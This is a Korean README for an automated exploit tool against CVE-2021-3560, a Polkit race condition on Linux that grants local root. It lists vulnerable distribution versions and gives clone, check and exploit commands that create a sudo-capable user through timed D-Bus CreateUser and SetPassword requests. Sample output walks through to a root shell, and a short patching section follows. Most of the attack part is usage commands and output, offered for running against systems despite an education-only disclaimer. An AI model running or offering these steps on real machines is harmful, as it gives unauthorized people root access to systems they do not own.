
CVE-2021-3560 Polkit 로컬 권한 상승 취약점 익스플로잇
.--. .-" "-. .--.
/ .. \/ .-. .-. \/ .. \
| | '| / Y \ |' | |
| \ \ \ 0 | 0 / / / |
\ '- ,\.-"`` ``"-./, -' /
`'-' /_ ^ ^ _\ '-'`
.--'| \._ _./ |'--.
/` \ \ `~` / / `\
/ '._ '---' _.' \
/ '~---~' \
/ \
Linux 시스템의 PolicyKit(Polkit)에 영향을 미치는 CVE-2021-3560 취약점에 대한 자동화된 익스플로잇입니다.
⚠️ 경고: 이 도구는 통제된 실습 환경에서 교육 및 사이버 보안 교육 목적으로만 사용됩니다. 소유하지 않은 시스템에서 이 익스플로잇을 무단으로 사용하는 것은 불법입니다.
CVE-2021-3560은 PolicyKit(polkit)의 로컬 경쟁 조건 취약점으로, 권한이 없는 사용자가 취약한 Linux 시스템에서 루트 권한을 획득할 수 있게 합니다.
이 취약점은 서로 다른 버전 번호 체계를 가진 Polkit의 두 가지 브랜치에 영향을 미칩니다.
bfa5036 (버전 0.113)f81d021 (버전 0.105-26)| 배포판 | Polkit 버전 | 취약? |
|---|---|---|
| Ubuntu 20.04 | 0.105-26ubuntu1 | ✅ 예 |
| Ubuntu 18.04 | 0.105-20 | ❌ 아니오 |
| Debian testing "bullseye" | 0.105-31+ | ✅ 예 |
| Debian 10 "buster" | 0.105-25 | ❌ 아니오 |
| RHEL 8 | 0.115-11+ | ✅ 예 |
| RHEL 7 | < 0.113 | ❌ 아니오 |
| Fedora 21+ | 0.113+ | ✅ 예 |
| Fedora 20 및 이전 | < 0.113 | ❌ 아니오 |
📝 참고: 보안 패치가 적용된 시스템(예: ubuntu1.1, deb10u1)은 취약하지 않습니다.
익스플로잇에는 다음 도구가 필요합니다(자동 확인됨):
- dbus-send # To communicate with D-Bus
- pkexec # Part of PolicyKit
- id # To verify user creation
- openssl # To generate password hash
- accountsservice # Must be installed and active
# Clone the repository (or download the file)
git clone https://github.com/[your-repo]/CVE-2021-3560_Polkit.git
cd CVE-2021-3560_Polkit
# Make the script executable
chmod +x CVE-2021-3560_Polkit.py
시스템이 취약한지 확인합니다(익스플로잇 실행 없이):
python3 CVE-2021-3560_Polkit.py --check
출력 예시:
[*] ============================================================
[*] CVE-2021-3560 Polkit Vulnerability Checker
[*] ============================================================
[*] Detecting operating system...
[+] OS: Ubuntu 20.04
[*] Checking required dependencies...
[+] Found: dbus-send
[+] Found: pkexec
[+] Found: id
[+] Found: openssl
[*] Detecting Polkit version...
[+] Polkit version: 0.105-26ubuntu1
[+] ============================================================
[+] SYSTEM APPEARS VULNERABLE!
[+] ============================================================
[*] Debian/Ubuntu fork detected (vulnerable since 0.105-26)
권한 있는 사용자 생성:
python3 CVE-2021-3560_Polkit.py -u <username> -p <password>
예시:
python3 CVE-2021-3560_Polkit.py -u hacker -p Password123!
usage: CVE-2021-3560_Polkit.py [-h] [-u USERNAME] [-p PASSWORD] [-c]
options:
-h, --help Show help
-u, --username Username to create
-p, --password Password for new user
-c, --check Check vulnerability without exploiting
이 익스플로잇은 D-Bus 요청 처리 중 PolicyKit의 경쟁 조건을 악용합니다.
┌─────────────────────────────────────────────────────────┐
│ 1. Optimal timing measurement │
│ └─> Test execution to calibrate timing │
├─────────────────────────────────────────────────────────┤
│ 2. Exploitation: User creation │
│ └─> Send D-Bus CreateUser request │
│ └─> Kill process at precise moment (race condition) │
│ └─> Verify if user created │
├─────────────────────────────────────────────────────────┤
│ 3. Password hash generation │
│ └─> Using openssl passwd -6 │
├─────────────────────────────────────────────────────────┤
│ 4. Exploitation: Password setting │
│ └─> Send D-Bus SetPassword request │
│ └─> Kill process at precise moment (race condition) │
│ └─> Test login with password │
├─────────────────────────────────────────────────────────┤
│ 5. Privilege escalation │
│ └─> Login with created account │
│ └─> Use sudo if member of sudo group │
└─────────────────────────────────────────────────────────┘
# 1. Check vulnerability
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py --check
[+] SYSTEM APPEARS VULNERABLE!
# 2. Launch exploit
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py -u pwned -p Pwn3d123!
╔═══════════════════════════════════════════════════════════╗
║ CVE-2021-3560 Polkit Privilege Escalation ║
╚═══════════════════════════════════════════════════════════╝
[*] Creating user 'pwned' using race condition timing attack...
[*] Measuring command execution time...
[*] Command takes ~0.045s, using 0.023s timing
[*] Attempting race condition exploit, please wait...
[+] User 'pwned' created successfully! UID: 1001
[*] User is member of groups: 1001(pwned) 27(sudo)
[*] Generating password hash...
[+] Password hash generated
[*] Setting password for user 'pwned'...
[+] Password set successfully!
╔═══════════════════════════════════════════════════════════╗
║ EXPLOIT SUCCESSFUL! ║
╚═══════════════════════════════════════════════════════════╝
[+] User 'pwned' created with password 'Pwn3d123!'
[*] User should be member of 'sudo' group for privilege escalation
[*] Switching to user 'pwned'...
# 3. Get root
pwned@vulnerable:~$ sudo su
root@vulnerable:~# id
uid=0(root) gid=0(root) groups=0(root)
PolicyKit 업데이트:
# Debian/Ubuntu
sudo apt update && sudo apt upgrade policykit-1
# RHEL/CentOS/Fedora
sudo yum update polkit
# or
sudo dnf update polkit
버전 확인:
pkexec --version
# Must be >= 0.119 (upstream) or patched
보안 패치 확인:
# Debian/Ubuntu
apt-cache policy policykit-1
# RHEL/CentOS/Fedora
rpm -q --changelog polkit | grep CVE-2021-3560